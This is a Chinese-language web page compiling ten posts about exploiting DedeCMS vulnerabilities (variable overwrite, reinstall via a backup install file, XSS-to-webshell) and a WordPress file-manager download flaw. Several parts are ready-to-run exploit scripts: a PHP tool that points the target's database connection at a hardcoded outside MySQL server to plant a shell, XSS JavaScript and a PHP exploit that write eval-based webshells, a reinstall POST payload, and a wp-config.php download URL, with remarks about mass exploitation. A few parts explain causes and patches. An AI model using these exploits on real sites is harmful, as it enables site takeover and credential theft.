一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警

| 收藏本文 下载本文 作者:off

下面是小编给大家带来关于一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警(共含10篇),一起来看看吧,希望对您有所帮助。同时,但愿您也能像本文投稿人“off”一样,积极向本站投稿分享好文章。

一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警

篇1:一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警

最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制

$GLOBALS[$v1] .= $v2;

注意这里是递加的,是在已初始化的全局变量内容上再递加内容,

现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery2点进行SQL注入。不过这个点只能update,要直接GET WEBSHELL,需要mytag表中已经有记录,再update normbody字段的内容,利用dedecms的缓存机制GET WEBSHELL。如果dedecms默认这个表是空的,或者缓存已经生成过占了坑,就没办法GET WEBSHELL了!

除开这个方法,还有另外一个利用方法,假设原有程序的全局变量是$GLOBALS['cfg_dbhost']= 'locahost',变量内容是递加,那么我们能控制cfg_dbhost为locahost.80sec.com,把原有的cfg_dbhost变成连向我们的子域名locahost.80sec.com,

类似:

plus/mytag_js.php?aid=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=104&arrs1[]=111&arrs1[]=115&arrs1[]=116&arrs2[]=46&arrs2[]=56&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=99&arrs2[]=111&arrs2[]=109 $v1=cfg_dbhost$v2=.80sec.com

不过这个要大规模利用,成本就有稍微点高了:

1.需要一台泛解析域名的服务器

弄成泛解析域名是为了能大规模自动化攻击,可以让程序连任意的子域名*.xx.com,都能反连到我们的mysql。

2.需要patch mysql

可以修改一下mysql源代码,整成任意用户名和密码都能登陆,类似于cve--2122那个漏洞的效果。

再让数据库怎么连怎么查都强制返回dedecms mytag表中含有PHP代码的记录,这个就需要修改源代码里的 mysql_query函数了。

篇2:关于Dedecms的变量覆盖漏洞的利用漏洞预警

最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过

本文c4rp3nt3r@0x50sec.org

写于5月

DedeCMS 任意变量覆盖漏洞的利用

Dedecms的变量覆盖漏洞总结

1.在magic_quotes_gpc=Off时

common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes,而是对一维数组的$$key进行了addslashes,导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎,

2.common.inc.php

//检查和注册外部提交的变量,此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量

我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据,创建是在检查之后的也就绕过了检查,创建出来之后,程序又将其注册成了变量。

3.filter.inc.php

这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量。

1.在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤!

xxx.php?site=c4rp3nt3r’s blog

经过common.inc.php

$c4rp3nt3r=c4rp3nt3r’s blog

经过filter.inc.php

$c4rp3nt3r=c4rp3nt3r’s blog

2.创建系统变量

程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞。

common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞。

但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是没法覆盖~~~

但是好玩的是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。

在/member目录的大部分文件都包含这么一个文件/member/config.php

这个文件的前两句就是

require_once(dirname(__FILE__).’/../include/common.inc.php’);

require_once(DEDEINC.’/filter.inc.php’);

就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量。

其他目录的文件也不一定就是安全的,可以触发系统变量未初始化漏洞。

有两种利用方法

1.依赖于common.inc.php的变量创建和filter.inc.php的变量覆盖

//magic_quote_gpc=Off

我们提交

xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog

经过common.inc.php

$_GET[cfg_xx]=c4rp3nt3r’s blog

经过filter.inc.php

$cfg_xx=c4rp3nt3r’s blog

2.依赖于common.inc.php的变量创建

提交

xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog

//检查和注册外部提交的变量

foreach($_REQUEST as $_k=>$_v) //此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量

{

if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)’,$_k) ) //$_k=’_POST[cfg_xx]‘;绕过了正则

{

exit(‘Request var not allow!’);

}

}

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc)

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

$svar = addslashes($svar);

}

}

return $svar;

}

foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

//如果提交xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog

//仅仅创建了$_GET[cfg_xx]但是第一次的循环$_GET已经执行完了,只能利用filter.inc.php的foreach循环变量覆盖来创建了

//如果我们提交xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog

//第一次执行$_GET循环后才创建出$_POST[cfg_xx],就不会进入上面的正则检查

//但是下一次进行$_POST循环时候正好注册我们的变量$cfg_xx=c4rp3nt3r’s blog

篇3:Dedecms通杀重装漏洞 利用apache解析+变量覆盖漏洞预警

利用条件是webserver要求是存在apache解析漏洞和install文件夹存在,

利用截图:

Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。

看看/install/index.php.bak代码:

1$verMsg = ' V5.7 GBKSP1';

2$s_lang = 'gb2312';

3$dfDbname = 'dedecmsv57gbksp1';

4$errmsg = '';

5$install_demo_name = 'dedev57demo.txt';

6$insLockfile = dirname(__FILE__).'/install_lock.txt';

7$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';

8

9define('DEDEINC',dirname(__FILE__).'/../include');

10define('DEDEDATA',dirname(__FILE__).'/../data');

11define('DEDEROOT',preg_replace(“#[\\/]install#”, '', dirname(__FILE__)));

12header(“Content-Type: text/html; charset={$s_lang}”);

13

14require_once(DEDEROOT.'/install/install.inc.php');

15require_once(DEDEINC.'/zip.class.php');

16

17foreach(Array('_GET','_POST','_COOKIE') as $_request)

18{

19foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);

20}

21

22require_once(DEDEINC.'/common.func.php');

23

24if(file_exists($insLockfile))

25{

26exit(“ 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!”);

27}

28

29if(empty($step))

30{

31$step = 1;

32}

其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件,

在下面的

1if(file_exists($insLockfile))

2{

3exit(“ 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!”);

4}

这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,

关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

1foreach(Array('_GET','_POST','_COOKIE') as $_request)

2{

3foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);

4}

这个是注册变量,如果存在变量就直接覆盖了。

所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。

利用演示:

直接POST数据到这个URL

www.localhost.com/install/index.php.bak?insLockfile=1&step=4

就OK了

POST数据:

1step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms

其中的dbhost啥的东西自己改改吧,

提交数据包。效果如下

重装了。。。。我是良民

批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。

原文:www.cnseay.com/2956/

篇4:DEDECMS全局变量覆盖漏洞科普漏洞预警

DEDECMS全局变量覆盖漏洞最早是狼族安全小组公布的,官方硬撑到现在没修补漏洞,到现在基本上覆盖了DEDECMS全部的版本,个人猜想是不是官方故意留下的后门。下面稍微科普下这个漏洞,大牛们可以完全无视:

一. 了解PHP超级全局变量

下面是PHP的超级全局变量,可以了解一个特性,全是数组。

$GLOBALS, 所有全局变量数组

$_SERVER, 服务器环境变量数组

$_GET,通过GET方法传递给脚本的变量数组

$_POST, 通过POST方法传递给脚本的变量数组

$_COOKIE,cookie变量数组

$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容

$_FILES,与文件上传相关得变量数组

$_ENV,环境变量数组

$_SESSION,会话变量数组

二. 理解$_GET变量

可以写个PHP来看看:

var_dump($_GET);

?>

访问

www.okadwin.com /test.php?key=value

得到

array(1) { [“key”]=> string(5) “value” }

OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。

再访问

www.okadwin.com/test.php?key[arr1]=value

得到

array(1) { [“key”]=> array(1) { [“arr1”]=> string(5) “value” } }

我们通过GET方法传入了一个嵌套数组。

到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!

三. 深入跟进DEDECMS全局变量注册漏洞

真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:

提交一个嵌套数组:

www.okadwin.com/test.php?_POST[GLOBALS][cfg_dbname]=X

array(1) { [“_POST”]=> array(1) { [“GLOBALS”]=> array(1) { [“cfg_dbname”]=> string(1) “X” } } }

假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY是_POST且是个数组,所以轻松绕过,

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )

{

exit('Request var not allow!');

}

}

接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!

四. 领悟漏洞后的修补

完全领悟这个漏洞后,就会知道怎么修补了。

1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key = daddslashes($_value);

}

}

2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) {

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){

exit('Request var not allow!');

}

${$_k} = _RunMagicQuotes($_v);

}

}

PS:安全就是基础,必须理解好基础。

篇5:DeDeCMS(织梦)变量覆盖0day getshell漏洞预警

#!usr/bin/php -w

error_reporting(E_ERROR);

set_time_limit(0);

print_r('

DEDEcms Variable Coverage

Exploit Author: www.heixiaozi.com www.webvul.com

);

echo “rn”;

if($argv[2]==null){

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url aid path

aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/

Example:

php '.$argv[0].' www.site.com 1 old

+---------------------------------------------------------------------------+

');

exit;

}

$url=$argv[1];

$aid=$argv[2];

$path=$argv[3];

$exp=Getshell($url,$aid,$path);

if (strpos($exp,“OK”)>12){

echo “[*] Exploit Success n”;

if($aid==1)echo “[*] Shell:”.$url.“/$path/data/cache/fuck.phpn” ;

if($aid==2)echo “[*] Shell:”.$url.“/$path/fuck.phpn” ;

if($aid==3)echo “[*] Shell:”.$url.“/$path/plus/fuck.phpn”;

}else{

echo “[*] Exploit Failed n”;

}

function Getshell($url,$aid,$path){

$id=$aid;

$host=$url;

$port=“80”;

$content =“doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB”;

$data = “POST /$path/plus/mytag_js.php?aid=”.$id.“ HTTP/1.1rn”;

$data .= “Host: ”.$host.“rn”;

$data .= “User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/0101 Firefox/5.0.1rn”;

$data .= “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn”;

$data .= “Accept-Language: zh-cn,zh;q=0.5rn”;

//$data .= “Accept-Encoding: gzip,deflatern”;

$data .= “Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7rn”;

$data .= “Connection: keep-alivern”;

$data .= “Content-Type: application/x-www-form-urlencodedrn”;

$data .= “Content-Length: ”.strlen($content).“rnrn”;

$data .= $content.“rn”;

$ock=fsockopen($host,$port);

if (!$ock) {

echo “[*] No response from ”.$host.“n”;

}

fwrite($ock,$data);

while (!feof($ock)) {

$exp=fgets($ock, 1024);

return $exp;

}

}

?>

from:sebug

篇6:dedecms利用xss+csrf getshell漏洞预警

最近确实很忙,很久不更新博客了,

dedecms的漏洞很多,但是厂商都是不做修复。

之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。

后台可触发xss

利用js代码

01var request = false;

02if(window.XMLHttpRequest) {

03request = new XMLHttpRequest;

04if(request.overrideMimeType) {

05request.overrideMimeType('text/xml');

06}

07} else if(window.ActiveXObject) {

08var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

09for(var i=0; i

10try {

11request = new ActiveXObject(versions[i]);

12} catch(e) {}

13}

14}

15xmlhttp=request;

16

17getshell();

18function getshell(){

19

20var postStr=“fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++”;//url需要自己修改

21

22xmlhttp.open(“POST”, “paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php”, true);//url需要自己修改

23xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);

24xmlhttp.setRequestHeader(“Content-length”, postStr.length);

25xmlhttp.setRequestHeader(“Connection”, “close”);

26xmlhttp.send(postStr);

27}

触发前

触发后

篇7:DedeCms v5.5 漏洞漏洞预警

print_r('

+----------------------------------------+

dedecms v5.5 final getwebshell exploit

+----------------------------------------+

');

if ($argc < 3) {

print_r('

+----------------------------------------+

Usage: php '.$argv[0].' host path

host:     target server (ip/hostname)

path:     path to dedecms

Example:

php '.$argv[0].' localhost /dedecms/

+----------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';

$post_b = 'needCode=aa/../../../data/mysql_error_trace';

$shell = 'data/cache/t.php';

get_send($post_a);

post_send('plus/comments_frame.php',$post_b);

$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){

echo “nShell Address is:”.$host.$path.$shell;

}else{

echo “nError.”;

}

function get_send($url){

global $host, $path;

$message = “GET ”.$path.“$url HTTP/1.1rn”;

$message .= “Accept: */*rn”;

$message .= “Referer: $host$pathrn”;

$message .= “Accept-Language: zh-cnrn”;

$message .= “Content-Type: application/x-www-form-urlencodedrn”;

$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;

$message .= “Host: $hostrn”;

$message .= “Connection: Closernrn”;

$fp = fsockopen($host, 80);

if(!$fp){

echo “nConnect to host Error”;

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

function post_send($url,$cmd){

global $host, $path;

$message = “POST ”.$path.“$url HTTP/1.1rn”;

$message .= “Accept: */*rn”;

$message .= “Referer: $host$pathrn”;

$message .= “Accept-Language: zh-cnrn”;

$message .= “Content-Type: application/x-www-form-urlencodedrn”;

$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;

$message .= “Host: $hostrn”;

$message .= “Content-Length: ”.strlen($cmd).“rn”;

$message .= “Connection: Closernrn”;

$message .= $cmd;

$fp = fsockopen($host, 80);

if(!$fp){

echo “nConnect to host Error”;

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

?>

利用方法

复制代码

xxx.com//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>

复制代码

xxx.com/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace

在data/cache下生成c.php

篇8:dedecms v5.1 漏洞漏洞预警

includeinc_bookfunctions.php

---------------------------------------------------

……

function WriteBookText($cid,$body)

{

global $cfg_cmspath,$cfg_basedir;

$ipath = $cfg_cmspath.“/data/textdata”;

$tpath = ceil($cid/5000);

if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);

if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);

$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;

$body = “<”.“?phprn”.$body.“rn?”.“>”;

@$fp = fopen($bookfile,'w');

@flock($fp);

@fwrite($fp,$body);

@fclose($fp);

}

……

篇9:WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警

漏洞详解:packetstormsecurity.com/files/121637/WordPress-wp-FileManager-File-Download.html

查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL,

WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警

篇10:DedeCMSV53任意变量覆盖漏洞

今天看到mr_xhming同学一个文章/Article/200905/38567.html,发现这个老BUG还没被修补的样子,从内部论坛转一个pp出来,欢迎大家拍砖

DedeCMSV53任意变量覆盖漏洞

BY flyh4t

www.wolvez.org

2008-12-12

DedeCMSV53发布了,但是依旧没有将变量覆盖漏洞彻底修补,这个漏洞和ryat那个很相似 :)

看核心文件include/common.inc.php中的代码

PHP代码

//检查和注册外部提交的变量

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && eregi('^(_|cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )//程序员逻辑混乱了?

{

exit('Request var not allow!');

}

}

这个地方可以通过提交_COOKIE变量绕过cfg_等关键字的过滤

接着是注册变量的代码

PHP代码

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

然后初始化变量

//数据库配置文件

require_once(DEDEDATA.'/common.inc.php');

//系统配置参数

require_once(DEDEDATA.“/config.cache.inc.php”);看似不能利用了,但是幸运的是在文件最后有这样一段代码

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)

{

require_once(DEDEINC.'/uploadsafe.inc.php');

}再看uploadsafe.inc.php给我们提供了什么

PHP代码

$keyarr = array('name','type','tmp_name','size');

foreach($_FILES as $_key=>$_value)

{

foreach($keyarr as $k)

{

if(!isset($_FILES[$_key][$k]))

{

exit('Request Error!');

}

}

$$_key = $_FILES[$_key]['tmp_name'] = str_replace(“\\”,“\”,$_FILES[$_key]['tmp_name']);

//注意这个地方,通过common.inc.php的漏洞,我们是可以控制$_FILES[$_key]['tmp_name'] 的

这里通过提交类似common.inc.php?_FILES[cfg_xxxx][tmp_name] =aaaaaa&……来覆盖cfg_xxxx

利用的时候注意给cookie赋值,同时要绕过uploadsafe.inc.php里面的一些判断

FCKeditor漏洞利用总结漏洞预警

dedecms 5.7 edit.inc.php文件注射漏洞预警

fckeditor漏洞利用

LxBlog变量未初始化漏洞

ECSHOP的flow页注入利用方法&EXP漏洞预警

cfm本地包含漏洞利用

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

关于MS08067的一点细节漏洞预警

一个远程代码执行漏洞搞定Yahoo, Microsoft, Orange漏洞预警

搞笑短信明显有一个漏洞

一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警(合集10篇)

欢迎下载DOC格式的一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式

猜你喜欢

NEW
点击下载本文文档